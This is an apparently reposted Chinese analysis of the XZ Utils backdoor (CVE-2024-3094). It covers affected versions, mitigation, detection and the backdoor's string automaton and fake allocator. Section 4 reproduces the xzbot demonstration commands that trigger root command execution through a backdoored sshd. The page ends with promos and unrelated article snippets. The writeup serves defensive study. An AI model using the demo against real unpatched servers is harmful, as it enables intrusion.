XZ后门事件深度解析:漏洞机理、攻击演示与防御策略

XZ 后门 (CVE-2024–3094):事件分析、工具后门解析与防御措施

目录:

  1. 引言
  2. 漏洞详情
  3. 风险评估与缓解措施
  4. CVE-2024–3094 调查
  5. 结论

1- 引言:

一位微软开发人员于周五发布了一项重大发现,震动了科技界:在几乎所有 Linux 和类 Unix 系统中广泛使用的开源数据压缩工具 XZ Utils 中被发现有人故意植入了后门。该项目背后的攻击者可能耗费了数年时间进行开发,并差点将含有后门的更新推送至 Debian 和 Red Hat 等主流 Linux 发行版。然而,他们的计划被一位警惕的软件开发人员发现的可疑活动所挫败。据软件和密码学工程师 Filippo Valsorda 称,这一事件代表了公开讨论中最为复杂和令人担忧的供应链攻击之一,展现了在一个被高度使用的软件库中存在的恶意意图、专业技术以及授权滥用。

XZ Utils 是 Linux 环境中被广泛使用的工具,在包括 Linux 在内的各种类 Unix 操作系统中提供重要的无损数据压缩功能。其功能对于在大量操作中压缩和解压数据至关重要。此外,XZ Utils 支持 .lzma 格式,进一步提升了其重要性。

2- 漏洞详情:

2024年3月29日,在 XZ Utils 中发现的后门引发了人们对受影响系统可能遭受后门访问和远程代码执行的担忧。该后门专门针对运行在使用 glibc、systemd 和打了补丁的 OpenSSH 的系统上的 XZ Utils 5.6.0 和 5.6.1 版本。建议用户立即停止使用并回退到 XZ 5.4.x 版本。该后门在特定条件下激活,可能影响系统性能和安全。这种情况突显了在开源软件生态系统中,关键基础设施过度依赖个别维护者所带来的风险。正在进行的调查旨在全面评估影响,并采取措施减轻该后门带来的风险。

图1:XZ 爆发事件“CVE-2024–3094”的简单图形化说明(来源:Thomas Roccia@FR0GGER)

微软负责 PostgreSQL 解决方案的开发工程师 Andres Freund 最近在 Debian 系统上遇到了与 SSH(通过互联网远程访问设备的主要协议)相关的性能问题。具体表现为 SSH 登录导致 CPU 使用率过高,并在内存监控工具 valgrind 中产生错误。通过偶然的机会和 Freund 的细致检查,最终确定问题源于对 XZ Utils 的更新。Freund 在一个周五在开源安全邮件列表中透露,这些更新是试图向该压缩软件中植入后门的故意行为。

3- 风险评估与缓解措施:

XZ Utils 5.6.0 和 5.6.1 版本中包含的恶意代码改变了软件的功能。该后门影响了用于 SSH 连接的可执行文件sshd。攻击者如果持有特定的加密密钥,就能够通过 SSH 登录证书在被入侵设备上嵌入和执行代码。虽然尚未观察到实际的代码上传行为,但其潜在后果包括窃取加密密钥到安装恶意软件。

使用带有 xz 或 liblzma 5.6.0 或 5.6.1 版本的 glibc 的系统,尤其是那些同时装有 systemd 和打了补丁的 OpenSSH 的系统,均存在漏洞。面向公网的云服务上存在受影响版本的情况会带来更高的风险,需要立即更新以解决漏洞。云提供商的底层系统或服务可能依赖这些易受攻击的版本,这强调了验证和更新实例或咨询提供商公告的重要性。对反混淆脚本的分析表明,该漏洞仅存在于特定的 Linux x86_64 版本中,因为该脚本会动态决定是否更改构建过程,如下图所示。

图2:此函数用于验证目标操作系统是否为 x86-64 Linux。

下表列出了受影响的发行版以及针对每个发行版建议采取的措施。

表1:受影响发行版、操作系统和软件包的列表,以及解决漏洞的建议(来源:arstechnica.com, 2024)。

为解决该漏洞,建议用户立即停止使用 xz-utils 压缩工具并回退到 xz-5.4.x。降级这些软件包的说明可以在提供的链接中找到。采用深度防御策略可以加强安全措施,帮助减轻工作负载中的漏洞,保护其免受恶意活动的侵害。

此外,配置持续集成/持续部署(CI/CD)流水线,使其在特定条件下停止构建过程,可以防止包含已识别漏洞的代码被部署到生产环境。Aqua Enforcer 的恶意软件检测功能会主动扫描节点以发现 xz-utils 后门利用行为,并在检测到时及时通知管理员,以便快速响应和缓解。

4- CVE-2024–3094 调查

调查包含以下组件:

  • 蜜罐:模拟易受攻击的服务器,旨在识别漏洞利用尝试。
  • ed448 补丁:修改 liblzma.so 以包含我们自定义的 ED448 公钥。
  • 后门格式:后门负载的结构。
  • 后门演示:用于触发远程代码执行(RCE)的命令行界面(CLI),前提是拥有 ED448 私钥。

4.1. 后门演示

$ go install github.com/amlweems/xzbot@latest $ xzbot -h Usage of xzbot: -addrstringssh serveraddress(default"127.0.0.1:2222") -seedstringed448 seed, must match xz backdoorkey(default"0") -cmdstringcommand to run viasystem() (default"id > /tmp/.xz")

以下命令将连接到位于127.0.0.1:2222的易受攻击的 SSH 服务器,并运行命令id > /tmp/.xz

我们可以在易受攻击的服务器上设置一个监视点,以监控system()函数的调用,并观察命令的执行。

$ bpftrace -e'watchpoint:0x07FFFF74B1995:8:x {printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))}' Attaching 1 probe... sshd (1234): id > /tmp/.xz $ cat /tmp/.xz uid=0(root) gid=0(root) groups=0(root)

利用成功后,进程树看起来与典型的 sshd 进程树不同。

# 正常进程树 $ ssh foo@bar $ ps -ef --forest root 7651 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 1026 7651 7 18:51 ? 00:00:00 \_ sshd: foo [priv] foo 1050 1026 0 18:51 ? 00:00:00 \_ sshd: foo@pts/1 foo 1051 1050 0 18:51 pts/1 00:00:00 \_ -bash # 后门进程树 $ xzbot -cmd 'sleep 60' $ ps -ef --forest root 7651 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 941 7654 1 18:04 ? 00:00:00 \_ sshd: root [priv] sshd 942 941 0 18:04 ? 00:00:00 \_ sshd: root [net] root 943 941 0 18:04 ? 00:00:00 \_ sh -c sleep 60 root 944 943 0 18:04 ? 00:00:00 \_ sleep 60

请注意,成功的漏洞利用不会产生任何 INFO 或更高级别的日志条目。

4.2. 自动机的字符串识别器

Florian Weimer 提取的后门代码版本不包含任何可读的 ASCII 字符串或经过混淆的 ASCII 字符串。相反,它包含一个单一状态自动机,用于识别特定字符串。搜索字符串涉及将所有可能的起始地址输入到字符串检测自动机,并验证是否识别出所需的字符串。识别后,字符串检测自动机会分配一个字符串 ID。

实现字符串检测自动机的函数是_Lsimple_coder_update_0,其特征如下:

(此部分为大量字符串ID与其对应字符串的映射关系,列表较长,省略具体内容以保持简洁。这些字符串包括如'/usr/sbin/sshd\x00''Accepted password for '、各种加密函数名、环境变量名、库函数名等,主要用于在后门运行时识别和定位关键内存地址或函数。)

4.3. 模拟内存分配器

在 liblzma 内部,存在一个内存分配层,它简单地将分配和释放调用重定向到指定的分配器。调用带有指定分配器对象的lzma_alloclzma_free本质上是触发该对象内的一个函数指针,这个指针可能与实际的内存分配操作有关,也可能无关。该后门包含一个伪造的分配器对象,它执行符号查找而不是实际分配,并且在释放时不执行任何操作。查找函数接受一个字符串 ID(参见上一节)作为大小参数。由于字符串 ID 可以被 8 整除,并且范围在 10 到 0xd10 之间,因此它们最初看起来是可行的大小。这个伪造的分配器对象由.Lstream_decoder_memconfig.part.1提供。

分配器结构包含一个传递给分配和释放函数的上下文指针。对于这个伪造的分配器,其不透明的opaque成员指向内部的 ELF 模块描述符记录。典型的使用模式(假设为返回伪造分配器的函数起了一个合理的符号名)如下:

lzma_allocator*fake_alloc=GetFakeAllocator();fake_alloc->opaque=libc_elfmodule;void*symbol=lzma_alloc(0xAB8,fake_allocator);// 0xAB8: 字符串 "setresuid" 的 ID// 使用符号,可能调用它,或者将其存储在某处lzma_free(symbol,fake_allocator);// 只是个幌子,什么都不做

需要注意的是,后门对象本身并不包含lzma_alloclzma_free;这些是由 liblzma 中非后门代码提供的标准函数。

5- 结论

XZ Utils 中故意植入后门的披露,突显了开源软件中供应链攻击的持续威胁。开发人员和安全专家在检测和缓解该后门方面的迅速响应,强调了保持警惕和采取主动安全措施的重要性。这也提醒我们,依赖外部库和组件会带来复杂的相互依赖性和风险,需要持续监控和更新以防止潜在的漏洞利用。在调查和解决 XZ 后门方面的协调努力,展现了网络安全社区在应对新出现威胁和保护关键软件基础设施方面的韧性。
CSD0tFqvECLokhw9aBeRqg7hBpseDJ45eX7wRsf5iUPQGgPhwrZ8WHIvRaEIdMa5yZIpWXqanDXsN5nymclK8ynlvwadp8Gfgn1RDJjwm3Di1OopQ6PgTBR3msffaToRsBsXQ72++/mo3yhMuY7x9hIfI7fuao1A9nkTDXfFFuY=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1168693.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

信息化项目总结报告(文件WORD)

1. 项目概要 1.1. 项目基本信息 1.2. 项目期间 1.3. 项目成果 1.4. 开发工具和环境 2. 项目工作分析 2.1. 项目需求变更 2.2. 项目计划与进度实施 2.3. 项目总投入情况 2.4. 项目总收益情况 2.5. 项目质量情况 2.6. 风险管理实施情况 3. 经验与教训 …

2026必看:10个高品质艺术油画素材网站,免费商用选哪个?

对于设计师、自媒体创作者或艺术爱好者来说,找到**高品质艺术油画素材**往往像大海捞针——要么是模糊不清的低分辨率图,要么是版权受限无法商用。尤其是在2026年,内容创作的版权意识越来越强,免费且合法的素材资源更是稀缺。今天…

基于Python的个性化音乐推荐系统设计与实现

一、系统开发背景与核心目标 当前音乐平台虽坐拥海量曲库,但传统推荐模式存在明显局限:多依赖热门榜单或简单曲风分类,难以捕捉用户深层音乐偏好——例如喜欢某首民谣的用户,可能同时偏爱小众独立音乐人作品,却被平台推…

2026包装设计纹理素材推荐:10个网站提升设计质感!

包装设计里,纹理素材就像给产品加了一层“隐形滤镜”——能让消费者光看图片就感受到质感,瞬间拉近和品牌的距离。如果你正愁找不到合适的纹理素材,这篇文章绝对能帮到你!下面为你整理了10个优质素材网站,每个都能找到…

SpringBoot+Vue 厨艺交流平台管理平台源码【适合毕设/课设/学习】Java+MySQL

💡实话实说:CSDN上做毕设辅导的都是专业技术服务,大家都要生活,这个很正常。我和其他人不同的是,我有自己的项目库存,不需要找别人拿货再加价,所以能给到超低价格。摘要 随着互联网技术的快速发…

AI论文写作从零到一:9款神器实测手把手指南,一键生成真实文献综述

还在为毕业论文、课程论文、研究报告抓耳挠腮吗?从选题、找文献、搭框架到反复修改,每一步都充满挑战。别担心,AI时代,我们有强大的“神器”工具。本文将通过一篇手把手实操指南,为你深度测评9款顶尖AI论文工具&#x…

《异构计算图中通信与计算的协同决策逻辑指南》

异构计算图的划分本质是拓扑感知与资源适配的深度博弈,其核心矛盾并非简单的任务拆分,而是在节点算力差异、链路带宽波动、任务依赖复杂度交织的场景中,找到通信延迟梯度与计算效率峰值的动态平衡点。最初接触这类问题时,很容易陷入均匀划分的认知误区,认为将任务量平均分…

EI论文检索!第二届控制系统与电气工程国际学术会议(ICCSEE 2026)

【2025-10-09-检索通知】ICCSEE 2025已被EI Compendex检索! 【2025-08-11-见刊通知】ICCSEE 2025已见刊!(可联系会议秘书下载ICCSEE 2025会议论文集电子版~) 敬请期待ICCSEE 2026!--会议信息抢先看! 重要信…

基于Python爬虫的网络小说热度分析系统设计与实现

第一章 研究背景与意义 网络文学已成为数字文化产业的重要组成部分,据行业报告显示,2024年我国网络小说用户规模突破5亿,年创作量超千万部。但海量作品中,热度分化极为显著——头部作品占据90%以上的流量,而大量中尾部…

FLUX.2图像生成模型:特性、API调用与性能解析

在Replicate上运行FLUX.2 某中心发布了FLUX.2,这是其迄今为止最先进的图像生成模型。此次发布在图像质量、编辑能力和企业级效率方面带来了显著改进。FLUX.2现在可以在Replicate上运行。 FLUX.2提供三种变体: FLUX.2 [pro]FLUX.2 [flex]FLUX.2 [dev] FLU…

C#上位机开发源码 上位机项目源代码 采用基于RS485通讯总线的ModbusRtu协议

C#上位机开发源码 上位机项目源代码 采用基于RS485通讯总线的ModbusRtu协议,支持用户权限管理、sqlite数据库、实时曲线、历史曲线、历史报表、导出Excel、主界面布局可调带记忆等功能一、项目概述 本上位机项目基于 C# 开发,采用 RS485 通讯总线的 Modb…

高质量天空与云朵摄影图片哪里找?2026年10个免费商用素材网站推荐

相信很多设计师、自媒体人都有过这样的经历:想找一张合适的高质量天空与云朵摄影图片,翻遍了网站却要么画质模糊要么版权受限。其实,天空云朵图片是设计中的“点睛之笔”,无论是海报背景、短视频封面还是PPT模板,一张优…

动态窗口稳医疗预警

📝 博客主页:jaxzheng的CSDN主页 动态窗口稳医疗预警:优化实时健康监测的稳定性与准确性 目录 动态窗口稳医疗预警:优化实时健康监测的稳定性与准确性 引言:医疗预警系统的时代挑战 一、问题与挑战:为何固定…

【毕业设计】SpringBoot+Vue+MySQL 学生评奖评优管理系统平台源码+数据库+论文+部署文档

💡实话实说:CSDN上做毕设辅导的都是专业技术服务,大家都要生活,这个很正常。我和其他人不同的是,我有自己的项目库存,不需要找别人拿货再加价,所以能给到超低价格。摘要 在高校教育管理工作中&a…

学长亲荐2026 MBA必备AI论文工具TOP10:开题报告文献综述全测评

学长亲荐2026 MBA必备AI论文工具TOP10:开题报告文献综述全测评 2026年MBA论文写作工具测评:精准匹配学术需求 随着人工智能技术的不断进步,AI论文工具已成为MBA学生撰写开题报告、文献综述等核心内容的重要辅助。然而,面对市场上琳…

【other】Goofy Node

Goofy Node是字节跳动内部自研的一套前端Serverless服务/Node.js运行时环境,是其「Goofy研发体系」的核心组件之一,主要用于支撑大规模前端应用的Serverless部署与运行,同时在TikTok等产品的HTTP响应头中以x-powered-by: goofy node标识出现。…

建筑摄影与室内设计图片素材哪里找?10个优质网站帮你高效出片!

作为一名设计师,你是不是经常陷入这样的困境:想找一张能完美展现北欧风客厅的实景图,翻遍了网站要么画质模糊要么收费高昂?或者需要一张现代写字楼的外观摄影图,却找不到授权清晰的素材?别担心,…

低端游戏官网 - 支持网页在线玩经典DOS/Windows游戏平台

随着Web技术的快速发展,在浏览器中运行传统本地应用程序已成为现实。低端游戏(RetroOnline)网站利用先进的Web技术,成功实现了经典游戏的无缝迁移,让用户无需安装任何软件即可重温《红色警戒》、《暗黑破坏神》等经典作…

2026年程序员转行为什么推荐选网络安全?一文详解分析!

记得曾经有人说过这样一个俗语:三百六十行,行行转IT。或许听到这个话的时候会觉得是一句玩笑话,但是浏览到网络上一些关于就业的文章,就能够明白这句话的真正意义所在。随着互联网的发展,越来越多人选择,甚…

学术写作必备:AI工具TOP7及查重优化方案

AI写论文工具排名:7大模型查重率低技巧推荐 7大AI论文工具核心对比 工具名称 核心功能 查重优化 适用场景 效率评分 AiBiye 论文全流程辅助 智能降重 从选题到定稿 ★★★★★ AiCheck 查重与降重 深度降重算法 论文修改阶段 ★★★★☆ AskPaper 文…